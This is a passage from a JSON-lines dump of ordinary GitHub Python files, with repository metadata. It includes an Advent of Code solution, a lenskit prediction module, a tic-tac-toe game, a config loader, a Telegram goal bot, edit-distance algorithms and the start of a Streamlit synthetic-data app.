multiple \"chunksize\" blocks\n return (line[0+i:chunksize+i] for i in range(0, len(line), chunksize))\n\n\ndef parse_stack_line(line):\n return [entry.strip() for entry in chunk_line(line)]\n\nstacks = defaultdict(list)\nraw_stacks = None\ncommands = list()\nwith open(inpath) as infile:\n mode = \"stack\"\n for line in infile:\n line = line.strip(\"\\n\")\n if mode == \"stack\" and \"[\" not in line:\n # this is the stack identifiers\n ids = line.split()\n for counter in range(len(ids)):\n stacks[ids[counter]] = raw_stacks[counter]\n mode = \"commands\"\n continue\n if not line.strip():\n continue\n if mode == \"stack\":\n crates = parse_stack_line(line)\n if raw_stacks is None:\n raw_stacks = [[] for _ in range(len(crates))]\n for counter in range(len(crates)):\n if crates[counter]:\n raw_stacks[counter].insert(0, crates[counter])\n elif mode == \"commands\":\n commands.append(line)\n\nprint(stacks)\n\npart_one_stacks = copy.copy(stacks)\n# part 1\ndef handle_line(stacks: DefaultDict[str, List[str]], command: str):\n _, num_to_move, _, from_stack, _, to_stack = command.split()\n num_to_move = int(num_to_move)\n stuff_to_move = stacks[from_stack][-1 * num_to_move:]\n stacks[from_stack] = stacks[from_stack][:-1 * num_to_move]\n stuff_to_move.reverse()\n stacks[to_stack] = stacks[to_stack] + stuff_to_move\n\n\nfor line in commands:\n handle_line(part_one_stacks, line)\n\nprint(\"part 1\")\nfor stack in part_one_stacks:\n print(f\"{stack}, {part_one_stacks[stack][-1]}\")\n\n# part 2\npart_two_stacks = copy.copy(stacks)\n\n\ndef handle_part_two_line(stacks: DefaultDict[str, List[str]], command: str):\n _, num_to_move, _, from_stack, _, to_stack = command.split()\n num_to_move = int(num_to_move)\n stuff_to_move = stacks[from_stack][-1 * num_to_move:]\n stacks[from_stack] = stacks[from_stack][:-1 * num_to_move]\n stacks[to_stack] = stacks[to_stack] + stuff_to_move\n\nfor line in commands:\n handle_part_two_line(part_two_stacks, line)\n\nprint(\"part 2\")\nfor stack in part_two_stacks:\n print(f\"{stack}, {part_two_stacks[stack][-1]}\")","repo_name":"g-clef/advent_of_code","sub_path":"2022/day 5/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"1098430192","text":"import os\nimport os.path\nimport logging\nimport tempfile\nimport pathlib\nimport warnings\nfrom collections import namedtuple\nfrom joblib import Parallel, delayed, dump, load\n\nimport pandas as pd\n\nfrom .. import util\nfrom ..sharing import sharing_mode\n\n_logger = logging.getLogger(__name__)\n_rec_context = None\n\n_AlgoKey = namedtuple('AlgoKey', ['type', 'data'])\n\n\n@util.last_memo(check_type='equality')\ndef __load_algo(path):\n return load(path, mmap_mode='r')\n\n\ndef _predict_user(algo, user, udf):\n if type(algo).__name__ == 'AlgoKey': # pickling doesn't preserve isinstance\n if algo.type == 'file':\n algo = __load_algo(algo.data)\n else:\n raise ValueError('unknown algorithm key type %s', algo.type)\n\n watch = util.Stopwatch()\n res = algo.predict_for_user(user, udf['item'])\n res = pd.DataFrame({'user': user, 'item': res.index, 'prediction': res.values})\n _logger.debug('%s produced %f/%d predictions for %s in %s',\n algo, res.prediction.notna().sum(), len(udf), user, watch)\n return res\n\n\ndef predict(algo, pairs, *, n_jobs=None, **kwargs):\n \"\"\"\n Generate predictions for user-item pairs. The provided algorithm should be a\n :py:class:`algorithms.Predictor` or a function of two arguments: the user ID and\n a list of item IDs. It should return a dictionary or a :py:class:`pandas.Series`\n mapping item IDs to predictions.\n\n To use this function, provide a pre-fit algorithm::\n\n >>> from lenskit.algorithms.basic import Bias\n >>> from lenskit.metrics.predict import rmse\n >>> ratings = util.load_ml_ratings()\n >>> bias = Bias()\n >>> bias.fit(ratings[:-1000])\n \n >>> preds = predict(bias, ratings[-1000:])\n >>> preds.head()\n user item rating timestamp prediction\n 99004 664 8361 3.0 1393891425 3.288286\n 99005 664 8528 3.5 1393891047 3.559119\n 99006 664 8529 4.0 1393891173 3.573008\n 99007 664 8636 4.0 1393891175 3.846268\n 99008 664 8641 4.5 1393890852 3.710635\n >>> rmse(preds['prediction'], preds['rating'])\n 0.8326992222...\n\n Args:\n algo(lenskit.algorithms.Predictor):\n A rating predictor function or algorithm.\n pairs(pandas.DataFrame):\n A data frame of (``user``, ``item``) pairs to predict for. If this frame also\n contains a ``rating`` column, it will be included in the result.\n n_jobs(int):\n The number of processes to use for parallel batch prediction. Passed as\n ``n_jobs`` to :cls:`joblib.Parallel`. The default, ``None``, will make\n the process sequential _unless_ called inside the :func:`joblib.parallel_backend`\n context manager.\n\n .. note:: ``nprocs`` is accepted as a deprecated alias.\n\n Returns:\n pandas.DataFrame:\n a frame with columns ``user``, ``item``, and ``prediction`` containing\n the prediction results. If ``pairs`` contains a `rating` column, this\n result will also contain a `rating` column.\n \"\"\"\n if n_jobs is None and 'nprocs' in kwargs:\n n_jobs = kwargs['nprocs']\n warnings.warn('nprocs is deprecated, use n_jobs', DeprecationWarning)\n\n loop = Parallel(n_jobs=n_jobs)\n\n path = None\n try:\n if loop._effective_n_jobs() > 1:\n fd, path = tempfile.mkstemp(prefix='lkpy-predict', suffix='.pkl',\n dir=util.scratch_dir(joblib=True))\n path = pathlib.Path(path)\n os.close(fd)\n _logger.debug('pre-serializing algorithm %s to %s', algo, path)\n with sharing_mode():\n dump(algo, path)\n algo = _AlgoKey('file', path)\n\n nusers = pairs['user'].nunique()\n _logger.info('generating %d predictions for %d users', len(pairs), nusers)\n results = loop(delayed(_predict_user)(algo, user, udf.copy())\n for (user, udf) in pairs.groupby('user'))\n\n results = pd.concat(results, ignore_index=True, copy=False)\n finally:\n util.delete_sometime(path)\n\n if 'rating' in pairs:\n return pairs.join(results.set_index(['user', 'item']), on=('user', 'item'))\n return results\n","repo_name":"Tomas1861/lkpy","sub_path":"lenskit/batch/_predict.py","file_name":"_predict.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"23426756199","text":"import random\r\n\r\ncell = [' ',' ',' ',\r\n ' ',' ',' ',\r\n ' ',' ',' ']\r\n\r\nuser = ['X','O']\r\nturn = random.choice(user)\r\n\r\ndef flipTurn():\r\n global turn\r\n if turn == user[0]:\r\n turn = user[1]\r\n else:\r\n turn = user[0]\r\n\r\ndef clear():\r\n print(chr(27) + \"[2J\")\r\n print(\"\\n\\n\")\r\n\r\ndef drawBoard(): \r\n print(f\" {cell[0]} | {cell[1]} | {cell[2]} \")\r\n print(\"---|---|---\")\r\n print(f\" {cell[3]} | {cell[4]} | {cell[5]} \")\r\n print(\"---|---|---\")\r\n print(f\" {cell[6]} | {cell[7]} | {cell[8]}\\n\\n\\n\")\r\n\r\ndef checkwinner():\r\n diagonalCells1 = [cell[0],cell[4],cell[8]]\r\n diagonalCells2 = [cell[2],cell[4],cell[6]]\r\n verticleCells1 = [cell[0],cell[3],cell[6]]\r\n verticleCells2 = [cell[1],cell[4],cell[7]]\r\n verticleCells3 = [cell[2],cell[5],cell[8]]\r\n horizontalCells1 = [cell[0],cell[1],cell[2]]\r\n horizontalCells2 = [cell[3],cell[4],cell[5]]\r\n horizontalCells3 = [cell[6],cell[7],cell[8]]\r\n if cell.count(' ') == 0:\r\n return False\r\n elif diagonalCells1[0] != ' ' and len(set(diagonalCells1)) == 1 or diagonalCells2[0] != ' ' and len(set(diagonalCells2)) == 1:\r\n return False\r\n elif verticleCells1[0] != ' ' and len(set(verticleCells1)) == 1 or verticleCells2[0] != ' ' and len(set(verticleCells2)) == 1:\r\n return False\r\n elif verticleCells3[0] != ' ' and len(set(verticleCells3)) == 1 or horizontalCells1[0] != ' ' and len(set(horizontalCells1)) == 1:\r\n return False\r\n elif horizontalCells2[0] != ' ' and len(set(horizontalCells2)) == 1 or horizontalCells3[0] != ' ' and len(set(horizontalCells3)) == 1:\r\n return False\r\n else:\r\n return True\r\n\r\nclear()\r\n# gamemode = int(input(\"\"\"Game Starting.... \r\n# 1. VS HUMAN\r\n# 2. VS CPU\\n\\n Please select an option\\n > \"\"\")) #Coming Soon. Stay tuned!\r\ndrawBoard()\r\nchoice = int(input(\"Choose cell from 1-9:\\n > \")) \r\n\r\nwhile checkwinner():\r\n if 1<=choice<=9 and cell[choice-1] == ' ':\r\n clear()\r\n cell[choice-1] = turn \r\n flipTurn()\r\n checkwinner()\r\n if checkwinner() == False:\r\n break\r\n drawBoard()\r\n else:\r\n clear()\r\n drawBoard()\r\n print(\"ERROR: Please enter a valid cell number\") \r\n choice = int(input(\"Choose cell from 1-9:\\n > \"))\r\n\r\nclear()\r\ndrawBoard()\r\nflipTurn()\r\nif turn == user[0] and cell.count(' ') > 0:\r\n print(\"(X) Crosses WON!\")\r\nelif turn == user[1] and cell.count(' ') > 0:\r\n print(\"(O) Naughts WON!\")\r\nelse:\r\n print(\"It's a BORING draw...\")\r\n \r\n\r\n \r\n \r\n\r\n\r\n\r\n","repo_name":"NaifAlqahtani/100_DaysOfCode","sub_path":"100 days of python/Final Project/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7812998374","text":"'''\n\nConfiguration alternatively comes from a config file, or is overridden by a\ncommand line argument.\n\n\nORDER OF PRIORITIES\n\n1.) CLI arguments\n2.) ./.uniteai.yml\n3.) if not found, then read ~/.uniteai.yml\n\n'''\n\nimport argparse\nimport os\nimport yaml\nimport shutil\nimport logging\nimport asyncio\nfrom pygls.uris import from_fs_path\nfrom pygls.server import LanguageServer\nfrom lsprotocol.types import (\n INITIALIZE,\n INITIALIZED,\n MessageActionItem,\n MessageType,\n ShowDocumentParams,\n ShowMessageRequestParams,\n WINDOW_SHOW_DOCUMENT,\n WINDOW_SHOW_MESSAGE_REQUEST,\n)\nimport pkg_resources\nfrom uniteai.common import mk_logger\nimport sys\n\nlog = mk_logger('CONFIG', logging.INFO)\n\nCONFIG_PATHS = [\n './.uniteai.yml',\n './.uniteai.yaml',\n os.path.expanduser('~/.uniteai.yml'),\n os.path.expanduser('~/.uniteai.yaml'),\n]\n\n\ndef fetch_config():\n '''Entrypoint for fetching configuration.'''\n config_yaml = load_config(CONFIG_PATHS)\n\n # If no config was found, start the pre-config server\n if config_yaml is None:\n # Try to get config managed via pre-startup language server\n start_config_server()\n config_yaml = load_config(CONFIG_PATHS) # Reload the config\n\n if config_yaml is None:\n log.error('Config couldnt be found, nor created. Please copy the example from the github repo and locate it at `~/.uniteai.yml`')\n sys.exit(0)\n\n # If still no config, just return None\n if config_yaml is None:\n return None, None, None\n\n # Process CLI arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('--stdio', action='store_true', default=True)\n parser.add_argument('--tcp', action='store_true')\n parser.add_argument('--lsp_port', default=config_yaml.get('lsp_port', None))\n parser.add_argument('--modules', default=config_yaml.get('modules', None))\n\n return parser.parse_args(), config_yaml, parser\n\n\ndef load_config(file_paths=CONFIG_PATHS):\n '''Return first config file that exists.'''\n for file_path in file_paths:\n if os.path.exists(file_path):\n log.info(f'Reading configuration from: {file_path}')\n with open(file_path, 'r') as f:\n return yaml.safe_load(f)\n return None\n\n\nasync def show_document(ls, uri):\n ''' Direct the client to visit a URI. '''\n log.info(f'Visiting document {uri}')\n params = ShowDocumentParams(\n uri=uri,\n external=False, # open the document inside the client, not externally (eg web browser)\n take_focus=True,\n selection=None\n )\n try:\n response = ls.lsp.send_request(WINDOW_SHOW_DOCUMENT, params)\n except Exception as e:\n log.error(f'Error showing document {uri}: {e}')\n return asyncio.wrap_future(response)\n\n\nasync def ask_user_with_message_request(ls):\n log.info('Asking user to create new config.')\n params = ShowMessageRequestParams(\n type=MessageType.Info,\n message='No config found for UniteAI. Would you like to create a default config?',\n actions=[\n MessageActionItem(title=\"Create in current directory\"),\n MessageActionItem(title=\"Create in home directory\"),\n MessageActionItem(title=\"No, I'll do it manually\")\n ]\n )\n try:\n response = ls.lsp.send_request(WINDOW_SHOW_MESSAGE_REQUEST, params)\n response = await asyncio.wrap_future(response)\n if response:\n ls.show_message(f\"You chose: {response.title}\", MessageType.Info)\n except Exception as e:\n log.error(f'Error asking for config creation permission: {e}')\n return response\n\n\nasync def handle_missing_config(server):\n response = await ask_user_with_message_request(server)\n\n if response:\n title = response.title\n if title == \"Create in current directory\":\n config_path = './.uniteai.yml'\n elif title == \"Create in home directory\":\n config_path = os.path.expanduser('~/.uniteai.yml')\n else:\n log.error('Please manually copy and update the file `.uniateai.yml.example` from https://github.com/freckletonj/uniteai.')\n sys.exit(0)\n\n config_path = os.path.abspath(config_path)\n example_config_path = pkg_resources.resource_filename('uniteai', '.uniteai.yml.example')\n\n if not os.path.exists(config_path):\n shutil.copyfile(example_config_path, config_path)\n server.show_message(f'Config created at {config_path}', MessageType.Info)\n\n # visit new file\n response = await show_document(server, from_fs_path(config_path))\n\n # await asyncio.sleep(1)\n server.show_message(f'Restart UniteAI after editing config!', MessageType.Info)\n\n\ndef start_config_server():\n log.info('Starting the Config Creation Server')\n config_server = LanguageServer('config_creation_server', '0.0.0')\n\n @config_server.feature(INITIALIZE)\n async def initialize_callback(ls, params):\n log.info(f\"Initialize Called\")\n\n @config_server.feature(INITIALIZED)\n async def initialized_callback(ls, params):\n log.info('Config Creation Server successfully initialized')\n # Once the server is initialized, handle the missing config\n try:\n await handle_missing_config(ls)\n except Exception as e:\n log.error(f'Failed making new config: {e}')\n await ls.shutdown()\n await ls.exit()\n\n config_server.start_io() # blocks\n","repo_name":"freckletonj/uniteai","sub_path":"uniteai/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"36"} +{"seq_id":"29024796838","text":"from interpret import interpret\n\nimport os\nimport json\nimport pytest\nfrom typing import List, Tuple, Any, Callable\n\nMAIN_TEST_DIR = \\\n os.path.join(os.path.dirname(os.path.abspath(__file__)), 'tests')\nTEST_DIRS = list(map(\n lambda dir_name: os.path.join(MAIN_TEST_DIR, dir_name),\n os.listdir(MAIN_TEST_DIR)\n ))\n\ndef list_to_set(l):\n if isinstance(l, list):\n return set(map(tuple, l))\n return l\n\n@pytest.mark.parametrize('test_dir', TEST_DIRS)\ndef test(test_dir):\n result = interpret(os.path.join(test_dir, 'script.txt'))\n with open(os.path.join(test_dir, 'answer.json'), 'r') as answer_file:\n answer = list(map(list_to_set, json.load(answer_file)))\n assert result == answer\n","repo_name":"SergeyKuz1001/formal_languages_autumn_2020","sub_path":"tests/query_lang/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7862661154","text":"from django.core.management.base import BaseCommand\n\nfrom bot.models import TgUser\nfrom bot.tg.client import TgClient\nfrom bot.tg.schemas import Message\nfrom goals.models import Goal, GoalCategory\n\n\nclass Command(BaseCommand):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.tg_client = TgClient()\n self._wait_list = {}\n\n def handle(self, *args, **options):\n offset = 0\n while True:\n res = self.tg_client.get_updates(offset=offset)\n for item in res.result:\n offset = item.update_id + 1\n self.handle_message(item.message)\n\n def handle_message(self, msg: Message):\n tg_user, created = TgUser.objects.get_or_create(chat_id=msg.chat.id)\n\n if tg_user.user:\n self.handle_authorized_user(tg_user, msg)\n else:\n self.handle_unauthorized_user(tg_user, msg)\n\n def handle_authorized_user(self, tg_user: TgUser, msg: Message):\n commands: list = ['/goals', '/create', '/cancel']\n create_chat: dict | None = self._wait_list.get(msg.chat.id, None)\n\n if msg.text == '/cancel':\n self._wait_list.pop(msg.chat.id, None)\n create_chat = None\n self.tg_client.send_message(chat_id=msg.chat.id, text='Operation was canceled')\n\n if msg.text in commands and not create_chat:\n if msg.text == '/goals':\n qs = Goal.objects.filter(\n category__is_deleted=False, category__board__participants__user_id=tg_user.user.id\n ).exclude(status=Goal.Status.archived)\n goals = [f'{goal.id} - {goal.title}' for goal in qs]\n self.tg_client.send_message(chat_id=msg.chat.id, text='No goals' if not goals else '\\n'.join(goals))\n\n if msg.text == '/create':\n categories_qs = GoalCategory.objects.filter(\n board__participants__user_id=tg_user.user.id, is_deleted=False\n )\n\n categories = []\n categories_id = []\n for category in categories_qs:\n categories.append(f'{category.id} - {category.title}')\n categories_id.append(str(category.id))\n\n self.tg_client.send_message(\n chat_id=msg.chat.id, text=f'Choose number of category:\\n' + '\\n'.join(categories)\n )\n self._wait_list[msg.chat.id] = {\n 'categories': categories,\n 'categories_id': categories_id,\n 'category_id': '',\n 'goal_title': '',\n 'stage': 1,\n }\n if msg.text not in commands and create_chat:\n if create_chat['stage'] == 2:\n Goal.objects.create(\n user_id=tg_user.user.id,\n category_id=int(self._wait_list[msg.chat.id]['category_id']),\n title=msg.text,\n )\n self.tg_client.send_message(chat_id=msg.chat.id, text='Goal save')\n self._wait_list.pop(msg.chat.id, None)\n\n elif create_chat['stage'] == 1:\n if msg.text in create_chat.get('categories_id', []):\n self.tg_client.send_message(chat_id=msg.chat.id, text='Enter title for goal')\n self._wait_list[msg.chat.id] = {'category_id': msg.text, 'stage': 2}\n else:\n self.tg_client.send_message(\n chat_id=msg.chat.id,\n text='Enter correct number of category\\n' + '\\n'.join(create_chat.get('categories', [])),\n )\n\n if msg.text not in commands and not create_chat:\n self.tg_client.send_message(chat_id=msg.chat.id, text=f'Unknown command!')\n\n def handle_unauthorized_user(self, tg_user: TgUser, msg: Message):\n code = tg_user.generate_verification_code()\n tg_user.verification_code = code\n tg_user.save()\n\n self.tg_client.send_message(chat_id=msg.chat.id, text=f'Hello! Verification code: {code}')\n","repo_name":"AgeHT70/todolist","sub_path":"bot/management/commands/runbot.py","file_name":"runbot.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26595202289","text":"NAMES = ['arnold schwarzenegger', 'alec baldwin', 'bob belderbos',\n 'julian sequeira', 'sandra bullock', 'keanu reeves',\n 'julbob pybites', 'bob belderbos', 'julian sequeira',\n 'al pacino', 'brad pitt', 'matt damon', 'brad pitt']\n\n\ndef dedup_and_title_case_names(names):\n \"\"\"Should return a list of title cased names,\n each name appears only once\"\"\"\n final_list = []\n for name in names:\n if name.title() not in final_list:\n final_list.append(name.title())\n return final_list\n\n\ndef sort_by_surname_desc(names):\n \"\"\"Returns names list sorted desc by surname\"\"\"\n names = dedup_and_title_case_names(names)\n desc_names = []\n for name in names:\n f_name, l_name = name.split()\n desc_names.append((f_name, l_name))\n desc_names.sort(key=lambda x: x[1], reverse=True)\n final_list = []\n for name in desc_names:\n final_list.append(f'{name[0]} {name[1]}')\n return final_list\n\n\ndef shortest_first_name(names):\n \"\"\"Returns the shortest first name (str).\n You can assume there is only one shortest name.\n \"\"\"\n names = dedup_and_title_case_names(names)\n shortest_name = (names[0], len(names[0]))\n for name in names:\n if len(name) < shortest_name[1]:\n shortest_name = (name, len(name))\n f_name = shortest_name[0].split()\n return f_name[0]","repo_name":"covrebo/python100","sub_path":"06_list_comprehensions_generators/d3_pybite5.py","file_name":"d3_pybite5.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38812854175","text":"import numpy as np\nimport random\nimport string\nimport time\nimport math\n\n\n# INITIALIZATION\ndef init(s1, s2):\n m = np.empty((len(s1) + 1, len(s2) + 1))\n m[:] = np.inf\n # initializing the first row\n m[0] = np.arange(m.shape[1])\n # initializing the first column\n counter = 0\n for i in m:\n i[0] = counter\n counter += 1\n return m\n\n\n# Minimum Edit Distance (MED)\n# CLASSIC DYNAMIC PROGRAMMING ALGORITHM\ndef med_classic(s1, s2):\n # INITIALIZATION\n m = init(s1, s2)\n for i in range(1, m.shape[0]):\n for j in range(1, m.shape[1]):\n\n # first condition : i is an insertion\n con1 = m[i - 1, j] + 1\n\n # second condition : j is a deletion\n con2 = m[i, j - 1] + 1\n\n # third condition : i and j are a substitution\n if s1[i - 1] == s2[j - 1]:\n # if same letters, we add nothing\n con3 = m[i - 1, j - 1]\n else:\n # if different letters, we add one\n con3 = m[i - 1, j - 1] + 1\n\n # assign minimum value\n m[i][j] = min(con1, con2, con3)\n # printing result and running time\n print(\" \")\n print(\"{} {}\".format(\"MINIMUM EDIT DISTANCE :\", int(m[m.shape[0] - 1][m.shape[1] - 1])))\n return m[m.shape[0] - 1][m.shape[1] - 1], m\n\n\n# K STRIP ALGORITHM\ndef med_k(s1, s2, k=1):\n if len(s1) > len(s2):\n temp = s1\n s1 = s2\n s2 = temp\n # K value exception\n if k > min((len(s1)), (len(s2))) or k < 1:\n raise Exception('K VALUE OUT OF BOUNDS')\n\n # INITIALIZATION\n m = init(s1, s2)\n # Offset counter\n offset = - (k - 2)\n # Limit counter\n cap = k + 1 + abs(len(s1) - len(s2))\n # Loop for K strips around the main diagonal\n for i in range(1, m.shape[0]):\n for j in range(max(1, offset), cap):\n # first condition : i is an insertion\n con1 = m[i - 1, j] + 1\n\n # second condition : j is a deletion\n con2 = m[i, j - 1] + 1\n\n # third condition : i and j are a substitution\n if s1[i - 1] == s2[j - 1]:\n # if same letters, we add nothing\n con3 = m[i - 1, j - 1]\n else:\n # if different letters, we add one\n con3 = m[i - 1, j - 1] + 1\n\n # assign minimum value\n m[i][j] = min(con1, con2, con3)\n # print(\"con1: {} con2: {} con3: {} min: {}\".format(con1, con2, con3, m[i][i]))\n # Saving Result\n offset += 1\n if cap < m.shape[1]:\n cap += 1\n # printing result and running time\n return m[m.shape[0] - 1][m.shape[1] - 1], m\n\n\n# PURE RECURSIVE ALGORITHM\ndef med_recursive(s1, s2):\n n = len(s1)\n m = len(s2)\n # base cases\n if n == 0 and m == 0:\n return 0\n if n == 0:\n return m\n if m == 0:\n return n\n # recursive definition\n con1 = med_recursive(s1[:-1], s2) + 1 # Deletion\n con2 = med_recursive(s1, s2[:-1]) + 1 # Insertion\n con3 = med_recursive(s1[:-1], s2[:-1]) + (s1[-1] != s2[-1]) # Substitution\n\n return min(con1, con2, con3)\n\n\n# BRANCH AND BOUND ALGORITHM\ndef med_branch(s1, s2, cost=0, bound=0):\n cost += 1\n n = len(s1)\n m = len(s2)\n # base cases\n if n == 0 and m == 0:\n return 0\n if n == 0:\n return m\n if m == 0:\n return n\n # calculate heuristic values\n # deletion node\n h_con1 = abs((n - 1) - m)\n f_con1 = h_con1 + cost\n # insertion node\n h_con2 = abs(n - (m - 1))\n f_con2 = h_con2 + cost\n # substitution node\n h_con3 = abs((n - 1) - (m - 1))\n if s1[-1] == s2[-1]:\n f_con3 = h_con3 + cost - 1\n else:\n f_con3 = h_con3 + cost\n # recursive definition\n # mini = min(f_con1, f_con2, f_con3)\n # print(\"{} {} {} {} {} {} {} {}\".format(\"MINI : \", mini, \"___ f_con1 :\", f_con1, \"___ f_con2 :\", f_con2, \"___ f_con3 :\", f_con3))\n # Branching\n if bound >= f_con1:\n # print(\"Branch 1\")\n return med_branch(s1[:-1], s2, cost, bound) + 1 # Deletion\n if bound >= f_con2:\n # print(\"Branch 2\")\n return med_branch(s1, s2[:-1], cost, bound) + 1 # Insertion\n if bound >= f_con3:\n # print(\"Branch 3\")\n # update bound\n bound += 1\n return med_branch(s1[:-1], s2[:-1], cost, bound) + (s1[-1] != s2[-1]) # Substitution\n\n\n# APPROXIMATED GREEDY ALGORITHM\ndef med_greedy(s1, s2, lookahead=3):\n n = len(s1)\n m = len(s2)\n difference = abs(m - n)\n # base cases\n if n == 0 and m == 0:\n return 0\n if n == 0:\n return m\n if m == 0:\n return n\n # Greedy Approach\n if difference > lookahead - 1 and m > lookahead - 1 and n > lookahead - 1:\n if n > m:\n return med_greedy(s1[:-lookahead], s2) + lookahead # Deletion\n if m > n:\n return med_greedy(s1, s2[:-lookahead]) + lookahead # Insertion\n if m == n:\n temp = 0\n for k in range(1, lookahead + 1):\n if s1[-k] != s2[-k]:\n temp += 1\n return med_greedy(s1[:-lookahead], s2[:-lookahead]) + temp # Substitution\n else:\n if n > m:\n return med_greedy(s1[:-1], s2) + 1 # Deletion\n if m > n:\n return med_greedy(s1, s2[:-1]) + 1 # Insertion\n if m == n:\n return med_greedy(s1[:-1], s2[:-1]) + (s1[-1] != s2[-1]) # Substitution\n\n\n# RUNTIME CALCULATOR\ndef calc_runtime(function, *args):\n start_time = time.time()\n result = function(*args)\n return time.time() - start_time, result\n\n\n# RANDOM STRING GENERATOR\ndef string_generator(size=10, chars=string.ascii_uppercase):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef main():\n s1 = string_generator(4)\n s2 = string_generator(5)\n # s1 = \"TVQTSKNPQVDIAEDNAFFPSEYSLSQYTSPVSDLDGVDYPKPYRGKHKILVIAADERYLPTDNGKLFST\\\n # GNHPIETLLPLYHLHAAGFEFEVATISGLMTKFEYWAMPHKDEKVMPFFEQHKSLFRNPKKLADVVASLN\\\n # ADSEYAAIFVPGGHGALIGLPESQDVAAALQWAIKNDRFVISLCHGPAAFLALRHGDNPLNGYSICAFPD\\\n # AADKQTPEIGYMPGHLTWYFGEELKKMGMNIINDDITGRVHKDRKLLTGDSPFAANALGKLAAQEMLAAY\\\n # AG\"\n # s2 = \"MAPKKVLLALTSYNDVFYSDGAKTGVFVVEALHPFNTFRKEGFEVDFVSETGKFGWDEHSLAKDFLNGQD\\\n # ETDFKNKDSDFNKTLAKIKTPKEVNADDYQIFFASAGHGTLFDYPKAKDLQDIASEIYANGGVVAAVCHG\\\n # PAIFDGLTDKKTGRPLIEGKSITGFTDVGETILGVDSILKAKNLATVEDVAKKYGAKYLAPVGPWDDYSI\\\n # TDGRLVTGVNPASAHSTAVRSIVALKNLEHHHHHH\"\n print('String #1 : ' + s1)\n print('String #2 : ' + s2)\n\n # CLASSIC DYNAMIC PROGRAMMING ALGORITHM\n print(\"_____________________________________\")\n print(\"CLASSIC DYNAMIC PROGRAMMING ALGORITHM\")\n result = calc_runtime(med_classic, s1, s2)\n print(\"RUNNING TIME : %s seconds\" % result[0])\n # Printing Matrix\n # print(\"\")\n # print(result[1][1])\n\n # K STRIP ALGORITHM\n print(\"_________________\")\n print(\"K STRIP ALGORITHM\")\n k = 1\n result = calc_runtime(med_k, s1, s2, k)\n print(\" \")\n print(\"{} {}\".format(\"MINIMUM EDIT DISTANCE :\", int(result[1][0])))\n print(\"RUNNING TIME : %s seconds\" % result[0])\n print(\"K : %s\" % k)\n # Printing Matrix\n print(\"\")\n print(result[1][1])\n\n # PURE RECURSIVE ALGORITHM\n print(\"________________________\")\n print(\"PURE RECURSIVE ALGORITHM\")\n result = calc_runtime(med_recursive, s1, s2)\n print(\" \")\n print(\"{} {}\".format(\"MINIMUM EDIT DISTANCE :\", int(result[1])))\n print(\"RUNNING TIME : %s seconds\" % result[0])\n\n # BRANCH AND BOUND ALGORITHM\n print(\"__________________________\")\n print(\"BRANCH AND BOUND ALGORITHM\")\n result = calc_runtime(med_branch, s1, s2, 0, abs(len(s1) - len(s2)) + 1)\n print(\" \")\n print(\"{} {}\".format(\"MINIMUM EDIT DISTANCE :\", int(result[1])))\n print(\"RUNNING TIME : %s seconds\" % result[0])\n\n # APPROXIMATED GREEDY ALGORITHM\n print(\"_____________________________\")\n print(\"APPROXIMATED GREEDY ALGORITHM\")\n result = calc_runtime(med_greedy, s1, s2, 50)\n print(\" \")\n print(\"{} {}\".format(\"MINIMUM EDIT DISTANCE :\", int(result[1])))\n print(\"RUNNING TIME : %s seconds\" % result[0])\n\n print(np.arange(1, 10))\n\n\n\nif __name__ == \"__main__\": main()","repo_name":"Sabrout/EditDistance-AAProject","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"33312716176","text":"import streamlit as st\nimport pandas as pd\nfrom sdv.metadata import SingleTableMetadata\nfrom sdv.lite import SingleTablePreset\nfrom functionforDownloadButtons import download_button\n\ndef _max_width_():\n max_width_str = f\"max-width: 1800px;\"\n st.markdown(\n f\"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n )\n\nst.set_page_config(page_icon=\"✂️\", page_title=\"General Analytics\")\n\n\nc2, c3 = st.columns([6, 1])\n\n\nwith c2:\n c31, c32 = st.columns([12, 2])\n with c31:\n st.caption(\"\")\n st.title(\"General Analytics\")\n with c32:\n st.image(\n \"images/logo.png\",\n width=200,\n )\n\nuploaded_file = st.file_uploader(\n \" \",\n key=\"1\",\n help=\"To activate 'wide mode', go to the hamburger menu > Settings > turn on 'wide mode'\",\n)\n\nif uploaded_file is not None:\n df = pd.read_csv(uploaded_file)\n uploaded_file.seek(0)\n table_ = df.to_dict()\n new_data = {}\n # loop through each key in the original dictionary\n for key in table_:\n # get the values from the inner dictionary and convert them to a list\n values = list(table_[key].values())\n # add the values to the new dictionary with the same key\n values = [str(value) if not isinstance(value, str) else value for value in values]\n new_data[key] = values\n \n metadata = SingleTableMetadata()\n metadata.detect_from_dataframe(data=df)\n synthesizer = SingleTablePreset(metadata, name='FAST_ML')\n synthesizer.fit(df)\n synthetic_data = synthesizer.sample(num_rows=100)\n\n\n\nelse:\n st.info(\n f\"\"\"\n 👆 Upload a .csv file first. Sample to try: [biostats.csv](https://people.sc.fsu.edu/~jburkardt/data/csv/biostats.csv)\n \"\"\"\n )\n\n st.stop()\n\n\nc29, c30, c31 = st.columns([1, 1, 2])\n\nwith c29:\n\n CSVButton = download_button(\n synthetic_data,\n \"FlaggedFile.csv\",\n \"Download to CSV\",\n 